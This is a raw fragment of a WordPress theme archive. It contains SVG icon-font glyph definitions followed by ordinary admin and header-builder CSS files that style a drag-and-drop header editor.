m-354-84c12 0 21-9 21-20 0-11-8-19-17-21l-4 0h-83c-12 0-21 9-21 21 0 10 7 18 17 20l4 0h83z m333 209h-458c-11 0-19-8-21-17l0-4v-63h500v63c0 12-9 21-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="container" unicode="&#xe98d;" d="M917 663c23 0 41-19 41-42v-542c0-23-18-41-41-41h-834c-23 0-41 18-41 41v542c0 23 18 42 41 42h834z m0-42h-834v-542h834v542z m-750-417v-41h83v-42h-125v83h42z m291-41v-42h-125v42h125z m209 0v-42h-125v42h125z m208 41v-83h-125v42h83v41h42z m0 209v-125h-42v125h42z m-708 0v-125h-42v125h42z m708 166v-83h-42v42h-83v41h125z m-625 0v-41h-83v-42h-42v83h125z m208 0v-41h-125v41h125z m209 0v-41h-125v41h125z" horiz-adv-x="1000" />

<glyph glyph-name="flip" unicode="&#xe98e;" d="M513 404c-17-21-46-21-63 0l-292 329c-25 30-8 75 30 75h579c37 0 58-45 33-75l-287-329z m258-512h-583c-17 0-30 8-38 25s-4 33 8 45l292 334c17 17 46 17 63 0l291-334c13-12 13-29 9-45-13-17-25-25-42-25z m-492 83h400l-200 229-200-229z" horiz-adv-x="1000" />

<glyph glyph-name="info" unicode="&#xe98f;" d="M500-108c-254 0-458 204-458 458s204 458 458 458 458-204 458-458-204-458-458-458z m0 833c-208 0-375-167-375-375s167-375 375-375 375 167 375 375-167 375-375 375z m125-583c0 25-17 41-42 41h-41v292c0 25-17 42-42 42h-83c-25 0-42-17-42-42s17-42 42-42h41v-250h-41c-25 0-42-16-42-41s17-42 42-42h166c25 0 42 17 42 42z m-125 500c25 0 42-17 42-42s-17-42-42-42-42 17-42 42 17 42 42 42z" horiz-adv-x="1000" />

<glyph glyph-name="my-account" unicode="&#xe990;" d="M601-75c16 0 29-13 29-29s-13-29-29-29-29 13-29 29 13 29 29 29z m104 0c16 0 29-13 29-29s-13-29-29-29-29 13-29 29 13 29 29 29z m-238 300c21 0 38-10 51-27 6-10 12-20 16-30h241c18 0 33-15 33-34 0-3 0-6-2-10l-51-164c-4-13-17-23-31-23h-139c-15 0-27 10-32 24l-54 180 0 0c-4 12-9 22-16 33-5 6-10 9-17 9-11 0-21 10-21 21s10 21 22 21z m296-99h-215l44-147h126l45 147z m95 682c55 0 100-37 100-85v-580c0-33-23-63-57-77-7-3-15-5-22-6l-6-1 0 0-11-1c-2 0-2 0-4 0-11 0-21 9-21 20-1 12 8 22 20 22l9 0 0 0 5 1 0 0c5 1 10 2 14 4 20 8 32 23 32 38v580c0 23-26 44-59 44h-716c-33 0-59-21-59-44v-580c0-23 26-43 59-43h306c12 0 21-10 21-21s-9-21-21-21h-306c-54 0-100 37-100 86v579c0 48 46 85 100 85h716z m-504-166c58 0 104-47 104-104 0-31-13-58-34-78 44-19 79-56 96-103 3-11-2-23-13-27-11-4-23 2-27 13-18 54-68 90-126 90-57 0-107-36-126-90-4-10-15-16-27-13-11 4-16 16-13 27 17 47 52 84 96 104-21 19-34 46-34 77 0 57 47 104 104 104z m438-209c11 0 21-9 21-20 0-11-8-19-18-21l-3 0h-209c-11 0-20 9-20 21 0 10 7 18 17 20l3 0h209z m0 84c11 0 21-9 21-21 0-11-8-19-18-21l-3 0h-209c-11 0-20 9-20 21 0 10 7 19 17 20l3 1h209z m-438 83c-34 0-62-28-62-62 0-33 24-60 56-63l6 0 1 0c34 0 62 28 62 63 0 34-28 62-63 62z m438 0c11 0 21-9 21-21 0-10-8-19-18-20l-3-1h-209c-11 0-20 10-20 21 0 11 7 19 17 21l3 0h209z" horiz-adv-x="1000" />

<glyph glyph-name="purchase-summary" unicode="&#xe991;" d="M601-75c16 0 29-13 29-29s-13-29-29-29-29 13-29 29 13 29 29 29z m104 0c16 0 29-13 29-29s-13-29-29-29-29 13-29 29 13 29 29 29z m-238 300c21 0 38-10 51-27 6-10 12-20 16-30h241c18 0 33-15 33-34 0-3 0-6-2-10l-51-164c-4-13-17-23-31-23h-139c-15 0-27 10-32 24l-54 180 0 0c-4 12-9 22-16 33-5 6-10 9-17 9-11 0-21 10-21 21s10 21 22 21z m296-99h-215l44-147h126l45 147z m95 682c55 0 100-37 100-85v-580c0-33-23-63-57-77-7-3-15-5-22-6l-6-1 0 0-11-1c-2 0-2 0-4 0-11 0-21 9-21 20-1 12 8 22 20 22l9 0 0 0 5 1 0 0c5 1 10 2 14 4 20 8 32 23 32 38v580c0 23-26 44-59 44h-716c-33 0-59-21-59-44v-580c0-23 26-43 59-43h306c12 0 21-10 21-21s-9-21-21-21h-306c-54 0-100 37-100 86v579c0 48 46 85 100 85h716z m-358-125c104 0 188-83 188-187 0-104-84-188-188-188-104 0-187 84-187 188 0 104 83 187 187 187z m0-41c-80 0-146-66-146-146 0-81 66-146 146-146 80 0 146 65 146 146 0 80-66 146-146 146z m103-63c7-7 8-18 2-26l-2-3-133-133-73 74c-8 8-8 21 0 29 7 8 18 8 27 3l3-3 44-44 102 103c9 9 22 9 30 0z" horiz-adv-x="1000" />

<glyph glyph-name="page-transition" unicode="&#xe992;" d="M854 808c56 0 101-45 104-101l0-7v-700c0-57-43-104-97-108l-7 0h-708c-56 0-101 45-104 101l0 7v700c0 57 43 104 97 108l7 0h708z m63-208h-834v-600c0-35 25-63 57-66l6-1h708c33 0 59 27 62 61l1 6v600z m-584-458v-84c0-23-18-41-41-41h-167v41h167v84h41z m125 0v-84h417v-41h-417c-23 0-41 18-41 41v84h41z m12 193c7 8 18 8 26 3l3-3 59-58c7-7 8-19 2-27l-2-3-59-59c-8-8-21-8-29 0-7 7-8 19-3 27l3 3 44 44-44 44c-7 7-8 19-3 27l3 2z m-96 0l59-58c8-9 8-22 0-30l-59-59c-9-8-21-8-30 0-8 9-8 22 0 30l44 44-44 44c-8 9-8 22 0 30 9 7 22 7 30-1z m-125 0l59-58c8-9 8-22 0-30l-59-59c-9-8-21-8-30 0-8 9-8 22 0 30l44 44-44 44c-8 9-8 22 0 30 9 7 22 7 30-1z m43 182c23 0 41-19 41-42v-83h-41v83h-167v42h167z m583 0v-42h-417v-83h-41v83c0 23 18 42 41 42h417z m-21 250h-708c-33 0-59-27-62-61l-1-6v-58h834v58c0 35-25 63-57 66l-6 1z m-708-42c12 0 21-9 21-21s-9-21-21-21-21 10-21 21 9 21 21 21z m83 0c12 0 21-9 21-21s-9-21-21-21-21 10-21 21 10 21 21 21z m84 0c11 0 20-9 20-21s-9-21-20-21-21 10-21 21 9 21 21 21z" horiz-adv-x="1000" />

<glyph glyph-name="spotify" unicode="&#xe993;" d="M813 225c103 0 187-84 187-187s-84-188-187-188-188 84-188 188 84 187 188 187z m-313 583c254 0 458-204 458-458 0-43-5-84-16-123-12 8-25 15-38 21 8 32 13 67 13 102 0 229-188 416-417 416s-417-187-417-416 188-417 417-417c35 0 70 5 102 13 6-13 13-26 21-38-39-11-80-16-123-16-255 0-459 204-459 458s205 458 459 458z m313-625c-81 0-146-65-146-145s65-146 146-146 145 65 145 146-65 145-145 145z m-15-55l4-3 85-53c26-16 26-52 0-68l-85-54c-27-17-62 2-62 34v107c0 30 31 49 58 37z m-18-37v-107l85 54-85 53z m-526 147c156 37 293 24 406-29-15-14-28-29-39-45-98 43-216 48-354 19-17-4-29 5-34 21s5 29 21 34z m487 91l13-8c17-8 21-33 13-50-3-5-7-8-11-11-6-2-12-4-18-6-8 0-15 1-21 4-125 75-313 96-459 55-20-5-37 4-45 25-5 20 4 37 25 45 161 49 362 27 503-54l0 0z m-528 209c162 50 433 37 604-63 21-12 29-37 16-58-16-21-41-25-62-17-146 92-392 96-533 54-21-4-46 9-55 29-4 25 9 46 30 55z" horiz-adv-x="1000" />

<glyph glyph-name="stripe-button" unicode="&#xe994;" d="M468 345l292-250c6-6 9-15 5-23-2-8-10-14-19-14h-88l74-122c3-4 4-10 3-16-2-5-5-10-10-13l-93-54c-4-2-7-3-11-3-2 0-4 0-6 1-5 1-10 5-12 11l-70 141-63-63c-6-6-15-8-23-5-8 3-13 11-13 19v375c0 9 5 16 12 19 7 4 16 2 22-3z m7-61v-280l48 48c4 4 9 6 15 6 1 0 2 0 3 0 7-1 12-5 15-11l74-147 55 32-82 136c-4 7-4 15 0 22 3 6 10 10 18 10h69l-215 184z m421 399c57 0 104-46 104-104v-250c0-57-47-104-104-104h-233c-12 0-21 9-21 21s9 21 21 21h233c32 0 59 24 62 56l0 6v250c0 33-24 59-56 62l-6 1h-792c-32 0-59-25-62-57l0-6v-250c0-32 24-59 56-62l6 0h267c12 0 21-9 21-21s-9-21-21-21h-267c-57 0-104 47-104 104v250c0 58 47 104 104 104h792z m-261-130c35 0 68-31 69-89 0-64-33-93-69-93-13 0-22 4-30 9l-6 4 0-57-50-10v233h44l2-12c8 6 20 15 40 15z m-310 40l0-43h38v-42h-39v-72c0-22 19-22 31-20l4 2 0 0 4 1v-41c-7-4-19-7-36-7-28 0-49 19-52 46l0 6 0 160 50 10z m-120-40c17 0 34-2 50-9v-47c-15 8-34 13-50 13-10 0-17-3-17-11 0-6 5-9 13-12l8-3 0 0 13-5 0 0 9-3c18-8 34-21 34-48 0-36-28-57-70-57-18 0-37 4-55 12v47c17-9 38-16 55-16 11 0 19 3 19 12 0 8-7 12-18 16l-17 6 0 0-9 4c-17 8-32 20-32 45 0 35 27 56 67 56z m585 0c45 0 70-36 73-85l0-9 0 0-1-16h-98c2-23 19-30 39-30 17 0 31 3 43 8l6 3v-40c-14-7-32-13-56-13-49 0-83 31-83 91 0 51 29 91 77 91z m-260-3v-175h-50v175h50z m-63 0v-46c-6 2-26 5-38-11v-118h-50v175h43l3-15c12 22 36 18 42 15z m156-41c-10 0-17-3-22-8l-2-2 0-74c5-5 12-10 24-10 18 0 30 20 30 47 1 26-12 47-30 47z m167 4c-12 0-25-8-27-27l0-5h52c0 22-13 32-25 32z m-260 104v-41l-50-11v41l50 11z" horiz-adv-x="1000" />

<glyph glyph-name="woo-settings" unicode="&#xe995;" d="M771 496h-542c-21 0-41-8-58-25s-25-38-25-63v-216c0-46 37-88 83-88h250l113-66c4 0 8-5 12-5s9 0 13 5c8 4 8 16 4 25l-17 41h163c46 0 83 38 83 88v216c4 50-33 88-79 88z m42-304c0-25-17-46-42-46h-196c-8 0-12-4-17-8s-4-13-4-21l4-13-66 38c-4 0-9 4-13 4h-250c-21 0-41 21-41 46v216c0 13 4 25 12 34s17 12 29 12h542c21 0 42-21 42-46v-216z m-363 108c-8-46-8-83-8-108 0-9 0-13-4-21s-9-8-13-8c-8 0-12 4-21 12-25 25-46 67-58 121-17-38-29-63-38-83-16-34-29-50-41-50-9 0-13 4-21 20-13 38-29 109-46 217 0 8 0 13 4 21 4 4 9 8 17 8 12 0 21-4 25-21 8-58 17-108 29-150l58 113c5 12 13 17 21 17 13 0 21-9 21-25 8-38 17-71 25-96 8 71 21 125 38 158 4 8 8 13 16 13 4 0 13 0 17-5s8-8 8-16c0-4 0-9-4-13-8-25-17-58-25-104z m292 104c-4 0-9 0-17 0-25 0-46-12-62-41-13-25-21-50-21-80 0-20 4-41 12-58s25-29 42-33c4 0 8 0 17 0 25 0 45 12 62 41 13 25 21 50 21 80 0 20-4 41-13 54-4 21-20 33-41 37z m12-112c-4-21-12-34-21-42s-16-12-20-8c-9 0-13 8-17 16s-4 17-4 25 0 13 0 21c4 13 8 25 12 34 9 12 17 20 29 16 9 0 13-8 17-16s4-17 4-25 0-13 0-21z m-179 112c-4 0-8 0-17 0-25 0-45-12-62-41-13-25-21-50-21-80 0-20 4-41 13-58s25-29 41-33c4 0 9 0 17 0 25 0 46 12 62 41 13 25 21 50 21 80 0 20-4 41-12 54-9 21-25 33-42 37z m8-112c-4-21-12-34-20-42s-17-12-21-8c-9 0-13 8-17 16s-4 17-4 25 0 13 0 21c4 13 8 25 12 34 9 12 17 20 30 16 8 0 12-8 16-16s4-17 4-25 0-13 0-21z m271 516h-708c-58 0-104-50-104-108v-700c0-58 46-108 104-108h708c59 0 104 50 104 108v700c0 58-45 108-104 108z m-708-41h708c34 0 63-29 63-67v-58h-834v58c0 38 30 67 63 67z m708-834h-708c-33 0-63 29-63 67v600h834v-600c0-38-29-67-63-67z m-729 771c0 13 8 21 21 21s21-8 21-21-9-21-21-21-21 9-21 21z m83 0c0 13 9 21 21 21s21-8 21-21-8-21-21-21-21 9-21 21z m84 0c0 13 8 21 21 21s20-8 20-21-8-21-20-21-21 9-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="woo-cart" unicode="&#xe996;" d="M601-75c16 0 29-13 29-29s-13-29-29-29-29 13-29 29 13 29 29 29z m104 0c16 0 29-13 29-29s-13-29-29-29-29 13-29 29 13 29 29 29z m-238 300c21 0 38-10 51-27 6-10 12-20 16-30h241c18 0 33-15 33-34 0-3 0-6-2-10l-51-164c-4-13-17-23-31-23h-139c-15 0-27 10-32 24l-54 180 0 0c-4 12-9 22-16 33-5 6-10 9-17 9-11 0-21 10-21 21s10 21 22 21z m296-99h-215l44-147h126l45 147z m95 682c55 0 100-37 100-85v-580c0-33-23-63-57-77-7-3-15-5-22-6l-6-1 0 0-11-1c-2 0-2 0-4 0-11 0-21 9-21 20-1 12 8 22 20 22l9 0 0 0 5 1 0 0c5 1 10 2 14 4 20 8 32 23 32 38v580c0 23-26 44-59 44h-716c-33 0-59-21-59-44v-580c0-23 26-43 59-43h306c12 0 21-10 21-21s-9-21-21-21h-306c-54 0-100 37-100 86v579c0 48 46 85 100 85h716z m-484-145l0 0h4 393c21 0 39-17 41-37l1-5v-208c0-4-1-7-2-10l0-115c0-22-16-40-36-42l-5 0h-145c-21 0-39 16-41 37l-1 5v83h-205l-4 0 0 0 0 0h-145c-21 0-39 16-41 37l0 5v208c0 21 16 39 36 41l5 1h145z m396-292h-145v-83h145l0 83z m1 125h-393v-83h393v83z m-439 0h-103v-83l103 0v83z m439 125h-393v-83l393 0v83z m-439 0l-103 0v-83h103v83z" horiz-adv-x="1000" />
</font>
</defs>
</svg>
PK     /w\TK7      builder/assets/css/admin.cssnu [        .penci-builder-button {
	display: inline-block;
}
.penci-builder-button .button {
	background-color: var(--wp-admin-theme-color);
	color: #fff;
	padding: 6px 12px;
	transition: 0.3s all ease-in-out;
	font-weight: bold;
}
.penci-video-tutbtn .button{
	background: #ff0000;
	border-color: #ff0000;
}
.penci-builder-button .button:before {
	content: "\f450";
	font-family: dashicons, sans-serif;
	display: inline-block;
	vertical-align: middle;
	margin-right: 5px;
	font-size: 26px;
	line-height: 0;
	margin-top: -4px;
}
.penci-use-import-button.penci-builder-button .button:before {
	content: "\f13b";
}
.penci-video-tutbtn.penci-builder-button .button:before {
	content: "\f236";
}
PK     /w\MgB  B  %  builder/assets/css/header-builder.cssnu [        @font-face {
	font-family: "eicons";
	src: url("../fonts/eicons.eot?42232160");
	src: url("../fonts/eicons.eot?42232160#iefix") format("embedded-opentype"),
		url("../fonts/eicons.woff?42232160") format("woff"),
		url("../fonts/eicons.ttf?42232160") format("truetype"),
		url("../fonts/eicons.svg?42232160#eicons") format("svg");
	font-weight: normal;
	font-style: normal;
}
.wp-full-overlay-sidebar-content,
#customize-controls .customize-info.is-in-view,
#customize-controls .customize-section-title.is-in-view {
	margin-top: 0 !important;
}
.header-builder {
	position: absolute;
	right: 0;
	left: 0;
	bottom: 0;
	background: #fff;
	-webkit-transform: translateY(100%);
	-ms-transform: translateY(100%);
	transform: translateY(100%);
	-webkit-transition: all 0.2s ease-in-out;
	-o-transition: all 0.2s ease-in-out;
	transition: all 0.2s ease-in-out;
}
.header-builder-open .header-builder {
	-webkit-transform: translateY(0);
	-ms-transform: translateY(0);
	transform: translateY(0);
}
.flex-row {
	display: -webkit-flex;
	display: -ms-flexbox;
	display: flex;
	-webkit-flex-flow: row nowrap;
	flex-flow: row nowrap;
	-webkit-align-items: center;
	-ms-flex-align: center;
	align-items: center;
	-webkit-justify-content: space-between;
	-ms-flex-pack: justify;
	justify-content: space-between;
	width: 100%;
}
body.rtl .flex-row {
	flex-flow: row-reverse nowrap;
}
.flex-col {
	max-height: 100%;
}
.flex-grow {
	-webkit-flex: 1;
	-ms-flex: 1;
	flex: 1;
	-ms-flex-negative: 1;
	-ms-flex-preferred-size: auto !important;
}
.flex-right {
	margin-left: auto;
}
.flex-left {
	margin-right: auto;
}
.notice-edit {
	margin-right: 30px;
}
.nav {
	width: 100%;
	position: relative;
	display: inline-block;
	display: -webkit-flex;
	display: -ms-flexbox;
	display: flex;
	-webkit-flex-flow: row wrap;
	-ms-flex-flow: row wrap;
	flex-flow: row wrap;
	-webkit-align-items: center;
	-ms-flex-align: center;
	align-items: center;
}
.nav-right {
	-webkit-justify-content: flex-end;
	-ms-flex-pack: end;
	justify-content: flex-end;
}
.cursor-pointer {
	cursor: pointer;
}
.header-builder-top-header {
	background: #333;
	padding: 10px 20px;
	box-sizing: border-box;
}
.header-builder-top-menu {
	-webkit-justify-content: flex-end;
	-ms-flex-pack: end;
	justify-content: flex-end;
}
.header-builder-desktop,
.header-builder-desktop-sticky,
.header-builder-mobile,
.header-builder-mobile-drawer {
	padding: 10px 10px;
	box-sizing: border-box;
	display: none;
}
.preview-desktop .header-builder-desktop,
.preview-desktop.sticky .header-builder-desktop-sticky,
.preview-mobile .header-builder-mobile,
.preview-mobile.drawer .header-builder-mobile-drawer,
.preview-mobile.mobile_menu .header-builder-mobile,
.preview-tablet .header-builder-mobile,
.preview-tablet.drawer .header-builder-mobile-drawer,
.preview-tablet.mobile_menu .header-builder-mobile {
	display: block;
}
.preview-desktop.sticky .header-builder-desktop,
.preview-mobile.drawer .header-builder-mobile,
.preview-tablet.drawer .header-builder-mobile {
	display: none;
}
.header-builder-wrapper > div {
	-webkit-box-sizing: border-box;
	-moz-box-sizing: border-box;
	box-sizing: border-box;
	padding: 5px 0;
	position: relative;
	border: 1px solid transparent;
	background: #fff;
}
.header-builder-wrapper > div:hover {
	border: 1px solid var(--wp-admin-theme-color);
	box-sizing: border-box;
}
.header-builder-column {
	min-height: 25px;
	border: 1px solid #aaa;
	padding: 4px 25px 0 3px;
	position: relative;
	min-width: 50px;
	-webkit-flex: 1 auto;
	-ms-flex: 1 auto;
	flex: 1 auto;
	margin: 0 5px;
	background: #ececec;
	-webkit-transition: all 0.1s ease-in-out;
	-o-transition: all 0.1s ease-in-out;
	transition: all 0.1s ease-in-out;
}
.header-builder-left.header-builder-column,
.header-builder-left.normal ~ .header-builder-center.normal {
	padding: 4px 3px 0 4px;
}
.header-builder-column.active {
	background: #c5c5c5;
}
.header-builder-column.left {
	text-align: left;
}
.header-builder-column.center {
	text-align: center;
}
.header-builder-column.right {
	text-align: right;
}
.header-builder-column.grow {
	-webkit-flex: 1;
	-ms-flex: 1;
	flex: 1;
}
.header-builder-column.normal {
	-webkit-flex: 0 auto;
	-ms-flex: 0 auto;
	flex: 0 auto;
}
.header-builder-column:hover {
	background: #c5c5c5;
}
.header-builder-row-drag-handle,
.header-builder-row-option {
	position: absolute;
	z-index: 5;
	left: 45px;
	background: var(--wp-admin-theme-color);
	padding: 4px 15px;
	bottom: 100%;
	cursor: pointer;
	opacity: 0;
	visibility: hidden;
	font-size: 13px;
	margin-left: -1px;
	-webkit-transition: all 0.1s ease-in-out;
	-o-transition: all 0.1s ease-in-out;
	transition: all 0.1s ease-in-out;
	color: #fff;
}
.header-builder-row-drag-handle {
	left: 0;
	font-size: 10px;
}
.header-builder-wrapper > div:hover .header-builder-row-drag-handle,
.header-builder-wrapper > div:hover .header-builder-row-option {
	visibility: visible;
	opacity: 1;
}
.header-builder-top .header-builder-row-drag-handle {
	display: none;
}
.header-builder-mobile .header-builder-row-option,
.header-builder-mobile-drawer .header-builder-row-option,
.header-builder-sticky .header-builder-row-option,
.header-builder-top .header-builder-row-option {
	left: 0;
}
.device-mode > div,
.top-menu {
	display: inline-block;
	padding: 4px 20px;
	text-transform: uppercase;
	font-size: 12px;
	background: var(--wp-admin-theme-color);
	cursor: pointer;
	margin-right: 3px;
	border-radius: 2px;
	color: #fff;
	position: relative;
}
.preview-desktop .device-mode div.device-mode-desktop,
.preview-mobile .device-mode div.device-mode-mobile,
.preview-tablet .device-mode div.device-mode-mobile {
	background: #fff;
	color: #333;
	border-radius: 2px;
}
.top-menu.close {
	padding: 4px 10px;
}
.flex-clear {
	display: table;
	clear: both;
	content: "";
	padding: 0 !important;
	margin: 0 !important;
}
.header-builder-list {
	background: #f2f2f2;
	margin: 20px -10px -10px;
	padding: 15px 15px 5px;
	min-height: 85px;
	border-top: 1px solid silver;
	position: relative;
}
.header-builder-list:after {
	content: "";
	clear: both;
	display: table;
}
.header-builder-list .header-element:before {
	font-family: "eicons";
	content: "\e8b0";
	display: block;
	font-size: 24px;
	margin: 10px 0;
}
.header-builder-list .header-element.pb_bookmark:before {
	content: "\e91f";
}
/*.header-builder-list .header-element.ui-sortable-helper:before {
	display: none;
	min-height: auto;
}*/
.header-builder-list .header-element.pb_block:before,
.header-builder-list .header-element.pb_block_2:before {
	content: "\e841";
}
.header-builder-list .header-element.pb_button:before,
.header-builder-list .header-element.pb_button_mobile:before,
.header-builder-list .header-element.pb_button_mobile_2:before,
.header-builder-list .header-element.pb_button_2:before,
.header-builder-list .header-element.pb_button_3:before {
	content: "\e989";
}
.header-builder-list .header-element.pb_cart_icon:before {
	content: "\e8d2";
}
.header-builder-list .header-element.pb_compare_icon:before {
	content: "\e84c";
}
.header-builder-list .header-element.pb_date_time:before {
	content: "\e826";
}
.header-builder-list .header-element.pb_hamburger_menu:before {
	content: "\e86d";
}
.header-builder-list .header-element.pb_mobile_menu:before {
	content: "\e854";
}
.header-builder-list .header-element.pb_dropdown_menu:before {
	content: "\e83f";
}
.header-builder-list .header-element.pb_search_form:before {
	content: "\e8ca";
}
.header-builder-list .header-element.pb_html_ad:before,
.header-builder-list .header-element.pb_html_ad_2:before,
.header-builder-list .header-element.pb_html_ad_mobile:before,
.header-builder-list .header-element.pb_html_ad_mobile_2:before,
.header-builder-list .header-element.pb_html_ad_3:before {
	content: "\e870";
}
.header-builder-list .header-element.pb_second_menu:before,
.header-builder-list .header-element.pb_third_menu:before,
.header-builder-list .header-element.pb_main_menu:before {
	content: "\e83e";
}
.header-builder-list .header-element.pb_news_ticker:before {
	content: "\e84b";
}
.header-builder-list .header-element.pb_search_icon:before {
	content: "\e8ca";
}
.header-builder-list .header-element.pb_shortcode:before,
.header-builder-list .header-element.pb_shortcode_2:before,
.header-builder-list .header-element.pb_shortcode_mobile:before,
.header-builder-list .header-element.pb_shortcode_3:before {
	content: "\e883";
}
.header-builder-list .header-element.pb_social_icon:before,
.header-builder-list .header-element.pb_social_icon_mobile:before {
	content: "\e85e";
}
.header-builder-list .header-element.pb_vertical_line_mobile_1:before,
.header-builder-list .header-element.pb_vertical_line_mobile_2:before,
.header-builder-list .header-element.pb_vertical_line_1:before,
.header-builder-list .header-element.pb_vertical_line_2:before,
.header-builder-list .header-element.pb_vertical_line_3:before,
.header-builder-list .header-element.pb_vertical_line_4:before,
.header-builder-list .header-element.pb_vertical_line_5:before {
	content: "|";
}
.header-builder-list .header-element.pb_wishlist_icon:before {
	content: "\e923";
}
.header-builder-list .header-element.pb_login_register:before {
	content: "\e895";
}
.header-builder-list .header-element.pb_darkmode:before {
	content: "\e8fd";
}
.header-element {
	background: #fff;
	color: #3f3f3f;
	line-height: 18px;
	padding: 4px 8px;
	margin-bottom: 10px;
	font-size: 13px;
	cursor: pointer;
	display: inline-block;
	margin-right: 5px;
	border: 1px solid #868383;
	border-radius: 2px;
	transition: 0.15s all ease-in-out;
	text-align: center;
}
.header-element:hover {
	border-color: var(--wp-admin-theme-color);
	background-color: var(--wp-admin-theme-color);
	color: #fff;
}
.header-builder-column .header-element {
	margin: 2px 3px;
}
.header-builder-column {
	padding-right: 23px;
}
.header-builder-column.left {
	padding-left: 23px;
	padding-right: 0;
}
.header-builder-column .header-element:hover {
	background: #888;
	border: 1px solid #605e5e;
	color: #fff;
}
.header-builder-column .header-builder-drop-zone {
	width: 100%;
	min-height: 36px;
}
.ui-sortable-placeholder {
	background-color: var(--wp-admin-theme-color) !important;
	visibility: visible !important;
	vertical-align: top;
}
.header-element span {
	float: left;
}
.header-builder-column .header-element-close {
	display: block;
}
.header-element-close {
	display: none;
	margin: 0 0 0 4px;
}
.header-element-close:before {
	font-family: dashicons;
	content: "\f335";
	line-height: 14px;
	vertical-align: middle;
	color: #000;
	font-size: 16px;
	width: 14px;
	height: 14px;
	text-align: center;
	position: relative;
	top: -1px;
}
.header-tab {
	background: #f2f2f2;
	color: #000;
	left: 100%;
	border-bottom: 1px solid #aaa;
	text-transform: capitalize;
	padding: 10px 10px 0;
}
.header-tab i {
	margin-right: 5px;
}
.device-mode-desktop:hover .desktop-mode {
	opacity: 1;
	visibility: visible;
}
.header-tab:after {
	content: "";
	position: absolute;
	width: 0;
	height: 0;
	border-style: solid;
	right: 0;
	border-width: 8px 8px 8px 0;
	border-color: transparent var(--wp-admin-theme-color) transparent
		transparent;
	left: -8px;
	top: 9px;
	z-index: 100;
}
.header-tab ul {
	margin: 0;
	padding: 0;
}
.header-tab li,
.preview-desktop.sticky .desktop-mode .normal,
.preview-mobile.drawer .mobile-mode .menu,
.preview-tablet.drawer .mobile-mode .menu {
	display: inline-block;
	line-height: 10px;
	border: 1px solid var(--wp-admin-theme-color-darker-20);
	padding: 8px 12px 10px;
	margin-bottom: 0;
	background: var(--wp-admin-theme-color);
	color: #fff;
	text-align: center;
	border-bottom: 0;
	cursor: pointer;
	position: relative;
	top: 1px;
	height: 10px;
	-webkit-border-top-left-radius: 2px;
	-webkit-border-top-right-radius: 2px;
	-moz-border-radius-topleft: 2px;
	-moz-border-radius-topright: 2px;
	border-top-left-radius: 2px;
	border-top-right-radius: 2px;
}
.preview-desktop .desktop-mode .normal,
.preview-desktop.normal .desktop-mode .normal,
.preview-desktop.sticky .desktop-mode .sticky,
.preview-mobile .mobile-mode .menu,
.preview-mobile.drawer .mobile-mode .drawer,
.preview-mobile.mobile_menu .mobile-mode .menu,
.preview-tablet .mobile-mode .menu,
.preview-tablet.drawer .mobile-mode .drawer,
.preview-tablet.mobile_menu .mobile-mode .menu {
	background: #fff;
	color: #333;
	border: 1px solid #aaa;
	border-bottom: 0;
	-webkit-border-top-left-radius: 2px;
	-webkit-border-top-right-radius: 2px;
	-moz-border-radius-topleft: 2px;
	-moz-border-radius-topright: 2px;
	border-top-left-radius: 2px;
	border-top-right-radius: 2px;
}
.header-tab {
	display: none;
}
.preview-desktop .desktop-mode {
	display: block;
}
.preview-mobile .mobile-mode,
.preview-tablet .mobile-mode {
	display: block;
}
#accordion-section-penci_header_builder_block_section,
#customize-control-penci_hb_preset {
	display: none !important;
}
.header-builder-mobile-drawer .header-builder-column {
	padding: 4px 3px 10px;
}
.header-builder-mobile-drawer .header-builder-column .header-builder-drop-zone {
	height: 160px;
}
.header-builder-mobile-drawer .header-builder-row {
	width: 50%;
	display: inline-block;
}
.header-builder-mobile-drawer .header-builder-column .header-element {
	display: block;
}
.header-builder-mobile-drawer .header-builder-column .header-element:after {
	clear: both;
	content: "";
	display: table;
}
.header-builder-mobile-drawer .header-builder-column .header-element-close {
	float: right;
}
.preview-mobile .wp-full-overlay-main,
.preview-tablet .wp-full-overlay-main {
	margin-top: 10px !important;
}
.penci-btn-header-builder {
	display: inline-block;
	cursor: pointer;
	position: absolute;
	right: 0;
	top: 0;
	bottom: 0;
	width: 45px;
	text-align: center;
	border-left: 1px solid rgb(220, 220, 222);
}
.penci-btn-header-builder i:before {
	content: "\f0c9";
}
.header-builder-open .penci-btn-header-builder i:before {
	content: "\f00d";
}
.penci_builder_save_settings {
	padding: 5px 10px;
	border: 0;
	background-color: var(--wp-admin-theme-color);
	color: #fff;
	border-radius: 2px;
	line-height: 2.15384615;
	cursor: pointer;
	position: relative;
}
.penci_builder_save_settings.loading:before {
	font-family: inherit !important;
	line-height: 0;
	display: inline-block;
	width: 14px;
	height: 14px;
	margin: 0 10px 0 0;
	content: " " !important;
	animation: lds-dual-ring 0.4s linear infinite;
	vertical-align: middle;
	opacity: 1;
	border: 1px solid rgba(255, 255, 255, 0.5);
	border-left-color: #fff;
	border-top-color: #fff;
	border-radius: 50%;
}
.wrap div.penci-saved-message {
	margin-top: 15px;
}
.penci-saved-message.error {
	color: red;
}
.header-builder .top-edit-screen {
	color: #fff;
}
#penci_save_header {
	float: right;
	margin-left: 10px;
	margin-top: 10px;
	margin-right: 70px !important;
}
a.preview-header {
	padding: 4px 10px;
	display: inline-block;
	background: var(--wp-admin-theme-color);
	color: #fff;
	border-radius: 2px;
	margin: 0 0 0 10px;
	text-transform: uppercase;
	font-size: 12px;
}
.header-setting {
	position: absolute;
	right: 0;
	top: 0;
	background: #fff;
	color: #0e0e0e;
	line-height: 40px;
	width: 20px;
	text-align: center;
	border-left: 1px solid #8a8a8a;
	font-size: 12px;
	cursor: pointer;
}
.header-column-option-tooltip {
	display: flex;
	flex-direction: row;
	flex-wrap: wrap;
	position: absolute;
	background: #fff;
	color: #000;
	left: auto;
	right: -7px;
	font-size: 12px;
	bottom: auto;
	top: 100%;
	opacity: 0;
	visibility: hidden;
	margin-bottom: -10px;
	text-align: center;
	width: 330px;
	border: 1px solid var(--wp-admin-theme-color);
	margin-top: 6px;
	z-index: 100;
	-webkit-transition: all 0.1s ease-in-out;
	-o-transition: all 0.1s ease-in-out;
	transition: all 0.1s ease-in-out;
}

.header-builder-left .header-column-option-tooltip,
.header-builder-left.normal
	~ .header-builder-center.normal
	.header-column-option-tooltip {
	left: -7px;
	right: auto;
}

.header-column-option-tooltip > div {
	width: calc(100% / 2);
}

.header-builder-mobile .header-builder-top .header-column-option-tooltip {
	width: 150px;
}

